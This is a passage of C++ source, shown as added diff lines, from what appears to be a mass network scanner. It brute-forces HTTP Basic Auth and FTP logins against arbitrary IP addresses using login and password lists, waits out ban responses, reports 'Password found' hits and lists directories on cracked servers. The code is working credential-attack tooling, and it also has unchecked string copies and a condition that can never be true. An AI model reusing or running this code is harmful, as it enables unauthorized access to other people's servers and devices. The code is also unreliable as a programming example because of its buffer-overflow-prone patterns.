strstri(recvBuff, "401 authorization") == NULL + && dataSz > 13 + ) + { + if(strstri(recvBuff, "access is denied") == NULL + && strstri(recvBuff, "iisstart") == NULL + && strstri(recvBuff, "Location:") == NULL + && strstri(recvBuff, "access forbidden") == NULL + ) + { + ZeroMemory(pass, 256); + strcpy(pass, ip); + strcat(pass, " - Password found: "); + strcat(pass, tPass); + OnLiner = 0; + stt->doEmition_BAGreenData("[+] " + QString(pass)); + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + + return lps; + }; + } + else + { + ZeroMemory(pass, 256); + strcpy(pass, ip); + strcat(pass, " - Password found: "); + strcat(pass, tPass); + OnLiner = 0; + char *pt1 = strstr(recvBuff, " "); + if(pt1 != NULL) + { + char *pt2 = strstr(pt1 + 1, " "); + if(pt2 != NULL) + { + int sz = pt2 - pt1 - 1; + char tempHeaderCode[16] = {0}; + strncpy(tempHeaderCode, pt1 + 1, sz); + + if(strcmp(tempHeaderCode, "302") == 0 && strcmp(tempHeaderCode, "200") == 0) stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (" + QString(tempHeaderCode) + ") IP: " + QString(ip) + ":" + QString::number(port) + ""); + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + + return lps; + } + else + { + stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (?) IP: " + QString(ip) + ":" + QString::number(port) + ""); + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + + return lps; + }; + } + else + { + stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (?) IP: " + QString(ip) + ":" + QString::number(port) + ""); + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + + return lps; + }; + }; + }; + }; +#pragma endregion + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; +} +lopaStr Connector::_BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL) +{ + while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); + + BConInc(); + lopaStr res = _BABrute(cookie, ip, port, path, method); + BConDec(); + + return res; +}; +lopaStr _FTPBrute(char *ip, int port, PathStr *ps) +{ + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + char recvBuff[1024] = {0}, request[64] = {0}; + int connectionResult, closedSocket = 1, loginFailedFlag = 0; + SOCKET sockFTP; + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(port); + HOSTENT *host; + +#if defined(WIN32) + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString("Bad address! (") + QString(ip) + ")"); +#pragma endregion + }; +#else + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("Bad address! [" + QString(ip) + "]"); +#pragma endregion + }; +#endif + + bool breakPassLoop = 0; + int passCounter = 1; + int bTO; + int x = 0; + + for(int i = 0; i < MaxLogin; ++i) + { + if(globalScanFlag == false) break; + if(strlen(loginLst[i]) <= 1) continue; + for(int j = 0; j < MaxPass; ++j) + { + if(globalScanFlag == false) break; + if(strlen(passLst[j]) <= 1) continue; + if(closedSocket) + { + closedSocket = 0; + sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); + int cErrCode = WSAGetLastError(); + + while(cErrCode == 10038) + { + if(gDebugMode) stt->doEmitionDebugFoundData("[FTP] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); + cErrCode = WSAGetLastError(); + }; + loginFailedFlag = 0; + }; + + OnLiner = 1; + + if(connectionResult != SOCKET_ERROR) + { + x = 0; + while (true) + { + Sleep(100); + if(globalScanFlag == false) break; + ZeroMemory(recvBuff, 1024); + x = recvWT(sockFTP, recvBuff, 1024, gTimeOut + 5, &bTO); + if(x <= 0) break; + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); + + Activity += x; + closedSocket = 0; + if(strstr(recvBuff, "451 The parameter is incorrect") != NULL + ) + { + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + OnLiner = 0; + stt->doEmition_BARedData("[*] Unknown protocol (451 Error) - " + QString(ip)); + strcpy(lps.other, "Unknown protocol (451 Error)"); + return lps; + }; + + if(strstri(recvBuff, "only anonymous") != NULL) + { + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + OnLiner = 0; +#pragma region QTGUI_Area + stt->doEmition_BAGreenData("[*] Anonymous access detected - " + QString(ip)); +#pragma endregion + strcpy(lps.login, "anonymous"); + strcpy(lps.pass, "1"); + return lps; + }; + + if(strstr(recvBuff, "550 no connections allowed") != NULL + || strstr(recvBuff, "550-") != NULL + ) + { + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + + OnLiner = 0; + +#pragma region QTGUI_Area + stt->doEmition_BARedData("[-] 550 (No connections allowed) - Ban detected. Dropping " + QString(ip)); +#pragma endregion + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + + if(strstr(recvBuff, "no such command")) + { + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + + OnLiner = 0; + stt->doEmition_BARedData("[-] 500 (Sorry, no such command) " + QString(ip)); + strcpy(lps.other, "[500 Sorry, no such command]"); + return lps; + }; + + if((strstr(recvBuff, "500 ") != NULL + || strstr(recvBuff, "500-") != NULL + ) + && strstri(recvBuff, "500 oops") == NULL + ) + { + j = 0; + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + closedSocket = 1; + ZeroMemory(recvBuff, 1024); + break; + }; + + if(strstr(recvBuff, "421 ") != NULL || strstr(recvBuff, "421-") != NULL) + { + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + closedSocket = 1; + ZeroMemory(recvBuff, 1024); + break; + }; + + if(strstri(recvBuff, "530 Sorry, no ANONYMOUS access allowed.") != NULL) + { + ++i; + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + closedSocket = 1; + ZeroMemory(recvBuff, 1024); + break; + }; + + if((strstr(recvBuff, "530 Sorry") != NULL) + || (strstr(recvBuff, "530") != NULL && strstr(recvBuff, "maximum") != NULL) + || strstr(recvBuff, "exceeded") != NULL + || strstr(recvBuff, "421 Too many") != NULL + || strstr(recvBuff, "from this IP") != NULL + || strstr(recvBuff, "from your IP") != NULL) + { +#pragma region QTGUI_Area + stt->doEmition_BARedData("[-] FTP: 530 - Ban detected? Waiting 30sec (" + QString(ip) + ")"); +#pragma endregion + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + closedSocket = 1; + if(j > 0) --j; + ZeroMemory(recvBuff, 1024); + Sleep(30000); + break; + } + else if( (strstr(recvBuff, "220 ") != NULL || loginFailedFlag == 1 || strstr(recvBuff, "503") != NULL || strstr(recvBuff, "server ready") != NULL )) + { + strcpy(request, "USER "); + if(strlen(loginLst[i]) != 0) strcat(request, loginLst[i]); + else + { + loginFailedFlag = 1; + ZeroMemory(recvBuff, 1024); + break; + }; + strcat(request, "\r\n"); + if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + Activity += strlen(request); + + ZeroMemory(request, 64); + } + else + { + stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); + }; + } + else if(strstr(recvBuff, "530") != NULL + || strstr(recvBuff, "Login incorrect") != NULL + || strstri(recvBuff, "500 oops") != NULL + ) + { + loginFailedFlag = 1; + ZeroMemory(recvBuff, 1024); + break; + } + else if(strstr(recvBuff, "331") != NULL) + { + if(strstr(recvBuff, "Non-anonymous sessions must use encryption") != NULL + || strstr(recvBuff, "Rejected--secure connection required") != NULL + ) + { + stt->doEmition_BARedData("FTP server (" + QString(ip) + ") appears to require SSL for specified user: " + QString(loginLst[i])); + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + } + else if(strstri(recvBuff, "permission denied") == NULL) + { + strcpy(request, "PASS "); + if(strlen(passLst[j]) != 0) strcat(request, passLst[j]); + else + { + loginFailedFlag = 1; + ZeroMemory(recvBuff, 1024); + break; + }; + strcat(request, "\r\n"); + if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + + Activity += strlen(request); + ZeroMemory(request, 64); + + if(BALogSwitched) stt->doEmitionBAData("Probing FTP: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" + QString::number((passCounter++/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); + } + else + { + stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); + }; + } + else + { + breakPassLoop = 1; + stt->doEmition_BARedData("Permission denied for login - " + QString(ip) + ":" + QString::number(port) + "; login: " + QString(loginLst[i])); + break; + }; + } + else if(strstr(recvBuff, "230") != NULL) + { + char pass[128] = {0}; + + strcpy(pass, ip); + strcat(pass, " - FTP Password found: "); + strcat(pass, loginLst[i]); + strcat(pass, ":"); + strcat(pass, passLst[j]); + + char recvBuff2[2048] = {0}; + if(send(sockFTP, "PASV\r\n", 6, 0) != SOCKET_ERROR) + { + int x = 1, xx = 0; + while(x != 0) + { + ZeroMemory(recvBuff, 1024); + x = recvWT(sockFTP, recvBuff, 512, gTimeOut + 5, &bTO); + xx += x; + if(xx < 1536) strncat(recvBuff2, recvBuff, x); + else break; + }; + + if(strstri(recvBuff2, "unknown command") != NULL || strstri(recvBuff2, "invalid command") != NULL) + { + stt->doEmitionYellowFoundData("[-] PASV failed. Router detected?"); + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + strcpy(lps.other, "ROUTER"); + OnLiner = 0; + return lps; + }; + +#pragma region Get pasv Port + char *ptr0 = strstr(recvBuff2, "227 "); + if( ptr0 != NULL ) + { + if(strstr(ptr0, "(") != NULL) + { + char pasvData[32] = {0}; + char *ptr1 = strstr(ptr0, "("); + char *ptr2 = strstr(ptr0, ")"); + int sz = ptr2 - ptr1 - 1; + strncpy(pasvData, ptr1 + 1, sz); + char *ptr3 = strstr(pasvData, ","); + ptr3 = strstr(ptr3 + 1, ","); + ptr3 = strstr(ptr3 + 1, ","); + ptr3 = strstr(ptr3 + 1, ","); + + if(ptr3 != NULL) + { + char *ptrP2 = strstr(ptr3 + 1, ","); + char p1c[8] = {0}; + sz = ptrP2 - ptr3 - 1; + strncpy(p1c, ptr3 + 1, sz); + int p1 = atoi(p1c); + int p2 = atoi(ptrP2 + 1); + port = p1 * 256 + p2; + + sockAddr.sin_port = htons(port); + SOCKET newSockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connectionResult = connect(newSockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); + + send(sockFTP, "LIST\r\n", 6, 0); + + ZeroMemory(recvBuff, sizeof(recvBuff)); + int x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 3, &bTO); + if(x <= 0 || strstr(recvBuff, "unknown command") != NULL) + { + send(sockFTP, "MLSD\r\n", 6, 0); + ZeroMemory(recvBuff, sizeof(recvBuff)); + x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 3, &bTO); + if(x <= 0 || strstr(recvBuff, "unknown command") != NULL) + { + stt->doEmition_BAGreenData("[?] " + QString(pass) + " [MLSD&LIST failed or server closed connection.]"); + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + shutdown(newSockFTP, SD_BOTH); + closesocket(newSockFTP); + closedSocket = 1; + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + } + else stt->doEmition_BAGreenData("[+] " + QString(pass) + " [MLSD succeeded]"); + } + else stt->doEmition_BAGreenData("[+] " + QString(pass) + " [LIST succeeded]"); + + shutdown(newSockFTP, SD_BOTH); + closesocket(newSockFTP); + } + else + { + stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV failed]"); + }; + } + else + { + stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); + }; + } + else + { + stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); + }; +#pragma endregion + + if(xx > 1) + { + strcpy(ps->headr, "
 (");
+								strncat(ps->headr, recvBuff, 256);
+								strcat(ps->headr, ")
"); + }; + + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + OnLiner = 0; + return lps; + } + else + { + stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); + + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + OnLiner = 0; + return lps; + }; + }; + }; + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + closedSocket = 1; + ZeroMemory(recvBuff, 1024); + } + else + { + char err[128] = {0}; + + int WSAerr; + if(connectionResult == -1) WSAerr = WSAGetLastError(); + else WSAerr = 10060; + + if(gThreads > 1 && WSAerr != 10060/*Timeout*/ && WSAerr != 10055/*POOLOVERFLOW*/ && WSAerr != 10061/*WSAECONNREFUSED*/ && WSAerr != 10054/*WSACONNABORTED*/ && WSAerr != 0) + { + strcpy(err, "[FTPBrute] Cannot connect to "); + strcat(err, ip); + strcat(err, " ["); + strcat(err, std::to_string((long double)WSAerr).c_str()); + strcat(err, "]"); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(err)); +#pragma endregion + }; + + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + Sleep(100); + + if(breakPassLoop) + { + breakPassLoop = false; + break; + }; + }; + }; + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; +}; +lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps) +{ + while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); + + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + BConInc(); + lps = _FTPBrute(ip, port, ps); + BConDec(); + + return lps; +}; +int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR) +{ + SSL *ssl = NULL; + int bytes = 0; + char *recvBuff2 = 0; + int resCode = 0; + SOCKET sock; + + SSL_CTX *ctx = InitCTX(); + if(ctx != NULL) + { + resCode = OpenConnection(&sock, iph, porth); + if(resCode >= 0) + { + ssl = SSL_new(ctx); /* create new SSL connection state */ + SSL_set_fd(ssl, sock); /* attach the socket descriptor */ + + if(SSL_connect(ssl)) + { + SSL_write(ssl, requesth, strlen(requesth)); + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(iph), QString(requesth)); + + int x = 256; + char recvBuff[8192] = {0}; + recvBuff2 = new char[RECV_MAX_LENGTH]; + ZeroMemory(recvBuff2, RECV_MAX_LENGTH); + + while (x > 0) + { + ZeroMemory(recvBuff, sizeof(recvBuff)); + x = SSL_read(ssl, recvBuff, sizeof(recvBuff)); + if(x <= 0) break; + + bytes += x; + Activity += x; + + if( bytes > RECV_MAX_LENGTH ) + { + if(strstri(recvBuff2, "http/1.") == NULL) + { + if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2); + delete[] recvBuff2; + recvBuff2 = NULL; + shutdown(sock, SD_BOTH); + closesocket(sock); + ++Overl; + + CSTR->lowerBuff = new char[11]; + strcpy(CSTR->lowerBuff, "[OVERFLOW]"); + CSTR->size = 10; + SSL_free(ssl); + SSL_CTX_free(ctx); /* release context */ + return 0; + } + else break; + }; + if(globalScanFlag == true) + { + if(x > 0) + { + memset((void*)(recvBuff + x), '\0', 1); + strcat(recvBuff2, recvBuff); + } + else + { + if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2); + + delete[] recvBuff2; + recvBuff2 = NULL; + shutdown(sock, SD_BOTH); + closesocket(sock); + CSTR->lowerBuff = new char[12]; + strcpy(CSTR->lowerBuff, "[IGNR_ADDR]"); + + CSTR->size = 11; + SSL_free(ssl); + SSL_CTX_free(ctx); /* release context */ + return 0; + }; + }; + }; + + if(bytes < 0) + { + stt->doEmitionRedFoundData("[SSL](_SSLConnect [bytes < 0]) " + QString(iph) + ":" + QString::number(porth)); + }; + + SSL_free(ssl); + shutdown(sock, SD_BOTH); + closesocket(sock); /* close socket */ + SSL_CTX_free(ctx); /* release context */ + + if(bytes == 0 || recvBuff2 == NULL) + { + if(recvBuff2 != NULL) delete []recvBuff2; + recvBuff2 = NULL; + CSTR->lowerBuff = new char[1]; + strcpy(CSTR->lowerBuff, ""); + CSTR->size = 0; + return -1; + }; + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(iph), QString(recvBuff2)); + std::string res2 = ""; + if(strlen(recvBuff2) > bytes) bytes = strlen(recvBuff2); + CSTR->lowerBuff = new char[bytes + 1]; + ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff)); + + strncpy(CSTR->lowerBuff, recvBuff2, bytes); + + delete[] recvBuff2; + recvBuff2 = NULL; + CSTR->size = bytes; + if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, CSTR->lowerBuff); + return 0; + } + else + { + delete[] recvBuff2; + recvBuff2 = NULL; + shutdown(sock, SD_BOTH); + closesocket(sock); /* close socket */ + SSL_free(ssl); + SSL_CTX_free(ctx); /* release context */ + CSTR->lowerBuff = new char[1]; + strcpy(CSTR->lowerBuff, ""); + CSTR->size = 0; + return 0; + }; + }; + }; + return -1; +}; +int Connector::_EstablishSSLConnection(char *iph, int porth, char *requesth, conSTR *CSTR) +{ + return _sslConnectTo(iph, porth, requesth, CSTR); +}; +void __deleteExcessiveNullBytes(char *buff, int sz) +{ + int j = 0; + for(int i = 0; i < sz - 1; ++i) + { + if(buff[i] != 0) buff[j++] = buff[i]; + }; +}; +struct linger linger = { 0 }; +int Connector::_EstablishConnection(char *ip, int port, char *requesth, conSTR *CSTR, int force) +{ + CSTR->lowerBuff = NULL; + if(strlen(ip) == 0) + { + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad IP."); + return -1; + }; + if(port < 0 || port > 65535) + { + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad port."); + return -1; + }; + + int recvBuffSize = 0; + char *recvBuff2 = NULL; + char request[2049] = {0}; + strcpy(request, requesth); + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(port); + + HOSTENT *host; +#if defined(WIN32) + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); + else if(host = gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { + ++offlines; + if(mode != 1) + { + char temp[256] = {0}; + strcpy(temp, "[Bad address ("); + + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, "):"); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, "]"); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + + }; + return -1; + + }; +#else + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { + if(mode != 1) + { + ++offlines; + char temp[256] = {0}; + strcpy(temp, "[Bad address ("); + + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, "):"); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, "]"); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + + return -1; + } + else + { + ++offlines; + return -1; + }; + }; +#endif + + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + while(sock == INVALID_SOCKET) + { + char temp[64] = {0}; + strcpy(temp, "Cannot create socket - "); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, " - "); + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + + shutdown(sock, SD_BOTH); + closesocket(sock); + Sleep(500); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + }; + + int iiError = WSAGetLastError(); + while(iiError == 10038) + { + if(gDebugMode) stt->doEmitionDebugFoundData("[ConnectTo] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + + shutdown(sock, SD_BOTH); + closesocket(sock); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + iiError = WSAGetLastError(); + }; +#if defined(WIN32) + u_long FAR cmd = 1; + if( ioctlsocket( sock , FIONBIO, &cmd ) != 0 ) +#else + u_long cmd = 1; + if( fcntl( sock , F_SETFL, O_NDELAY ) == -1 ) +#endif + { + char temp[64] = {0}; + strcpy(temp, "Error setting non-blocking mode - "); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, " - "); + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + + shutdown(sock, SD_BOTH); + closesocket(sock); + } + + + int on = 1; + int status = setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const char *) &on, sizeof(on)); + + linger.l_onoff = 1; + linger.l_linger = 30; + status = setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger)); + + int iError, iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + + if(iResult == SOCKET_ERROR) + { + iError = WSAGetLastError(); + while(iError == 10038) + { + if(gDebugMode) stt->doEmitionDebugFoundData("[ConnectTo] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + + shutdown(sock, SD_BOTH); + closesocket(sock); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + iError = WSAGetLastError(); + }; + if(iError == 10035) + { + fd_set read_fs; + FD_ZERO(&read_fs); + FD_SET(sock, &read_fs); + timeval tv = { gTimeOut, 0 }; + + int res2 = select(sock + 1, NULL, &read_fs, 0, &tv); + + int cErrCode = WSAGetLastError(); + + while(cErrCode == 10038) + { + if(gDebugMode) stt->doEmitionDebugFoundData("[ConnectTo] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + + shutdown(sock, SD_BOTH); + closesocket(sock); + FD_CLR(sock, &read_fs); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + res2 = WSAGetLastError(); + if(res2 == 10038) continue; + FD_SET(sock, &read_fs); + res2 = select(sock + 1, NULL, &read_fs, 0, &tv); + cErrCode = WSAGetLastError(); + }; + + if (res2 == SOCKET_ERROR) + { + ++offlines; + char temp[128] = {0}; + strcpy(temp, "[Omitting IP!] Select error - "); + strcat(temp, std::to_string((long double)cErrCode).c_str()); + strcat(temp, " - "); + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, ";"); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + ZeroMemory(temp, strlen(temp)); + } + else + { + if (!res2) + { + ++offlines; + } + else + { + if(send(sock, request, strlen(request), 0) != SOCKET_ERROR) + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + Activity += strlen(request); + cmd = 0; + Lexems fd; + int x = 256; + char recvBuff[4096] = {0}; + recvBuff2 = new char[RECV_MAX_LENGTH]; + ZeroMemory(recvBuff2, RECV_MAX_LENGTH); + + int bTO; + while (x > 0) + { + ZeroMemory(recvBuff, 4096); + x = recvWT(sock, recvBuff, 4096, gTimeOut, &bTO); + if(x <= 0) break; + + Activity += x; + recvBuffSize += x; + + if( recvBuffSize > RECV_MAX_LENGTH ) + { + //if(strstri(recvBuff2, "http/1.") == NULL) + //{ + delete[] recvBuff2; + recvBuff2 = NULL; + + FD_CLR(sock, &read_fs); + shutdown(sock, SD_BOTH); + closesocket(sock); + ++Overl; + + CSTR->lowerBuff = new char[11]; + strcpy(CSTR->lowerBuff, "[OVERFLOW]"); + CSTR->size = 10; + return 0; + //} + //else break; + }; + if(globalScanFlag == true || force) + { + if(x > 0) + { + memset((void*)(recvBuff + x), '\0', 1); + + strncat(recvBuff2, recvBuff, x); + if((strstr(recvBuff, "220") || strstr(recvBuff, "500 'GET':")) && port == 21) + { + break; + }; + + if(strstri(recvBuff, "220 FTP server ready") != NULL + || strstri(recvBuff, "220 DiskStation FTP server ready") != NULL + || strstri(recvBuff, "500 'GET': command not understood") != NULL + ) + { + delete[] recvBuff2; + recvBuff2 = NULL; + FD_CLR(sock, &read_fs); + shutdown(sock, SD_BOTH); + closesocket(sock); + + CSTR->lowerBuff = new char[recvBuffSize + 1]; + strcpy(CSTR->lowerBuff, recvBuff); + CSTR->size = recvBuffSize; + return 0; + }; + }; + }; + }; + } + else + { + ++offlines; + char temp[128] = {0}; + strcpy(temp, "Send error! - "); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, " - "); + strcat(temp, ip); + strcat(temp, "; sock: "); + strcat(temp, std::to_string((long double)sock).c_str()); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + ZeroMemory(temp, strlen(temp)); + }; + }; + }; + FD_CLR(sock, &read_fs); + shutdown(sock, SD_BOTH); + closesocket(sock); + } + else + { + ++offlines; + char temp[128] = {0}; + int err = iError; + GlobalWSAErr = err; + if(err == 10055) + { + strcpy(temp, "-Connection pool depleted- "); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[SOCKERR 10055] " + QString(temp) + QString(ip) + ":" + QString::number(port)); +#pragma endregion + ZeroMemory(temp, strlen(temp)); + + shutdown(sock, SD_BOTH); + closesocket(sock); + Sleep(60000); + } + else if(err == 10049) + { + strcpy(temp, "[ADDR_NOT_AVAIL - "); + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, " - "); + strcat(temp, std::to_string((long double)err).c_str()); + strcat(temp, "]"); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + + ZeroMemory(temp, strlen(temp)); + + shutdown(sock, SD_BOTH); + closesocket(sock); + } + else + { + strcpy(temp, "[Unpredictable error - "); + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, " - "); + strcat(temp, std::to_string((long double)err).c_str()); + strcat(temp, "]"); + strcat(temp, "; sock: "); + strcat(temp, std::to_string((long double)sock).c_str()); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + + ZeroMemory(temp, strlen(temp)); + + shutdown(sock, SD_BOTH); + closesocket(sock); + }; + }; + } + else + { + char temp[128] = {0}; + strcpy(temp, "[?!] Strange behavior detected - "); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, " - "); + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, "; sock: "); + strcat(temp, std::to_string((long double)sock).c_str()); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + ZeroMemory(temp, strlen(temp)); + }; + + if( globalScanFlag == false && force == 0) + { + if(recvBuff2 != NULL) delete []recvBuff2; + recvBuff2 = NULL; + + return -1; + }; + + if(recvBuff2 != NULL && recvBuffSize > 0) + { + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2)); + std::string res2 = ""; + if(strlen(recvBuff2) > recvBuffSize) recvBuffSize = strlen(recvBuff2); + CSTR->lowerBuff = new char[recvBuffSize + 1]; + ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff)); + CSTR->size = recvBuffSize; + strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize); + memset(CSTR->lowerBuff + (recvBuffSize), '\0', 1); + + delete []recvBuff2; + recvBuff2 = NULL; + if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, CSTR->lowerBuff); + return 0; + } + else + { 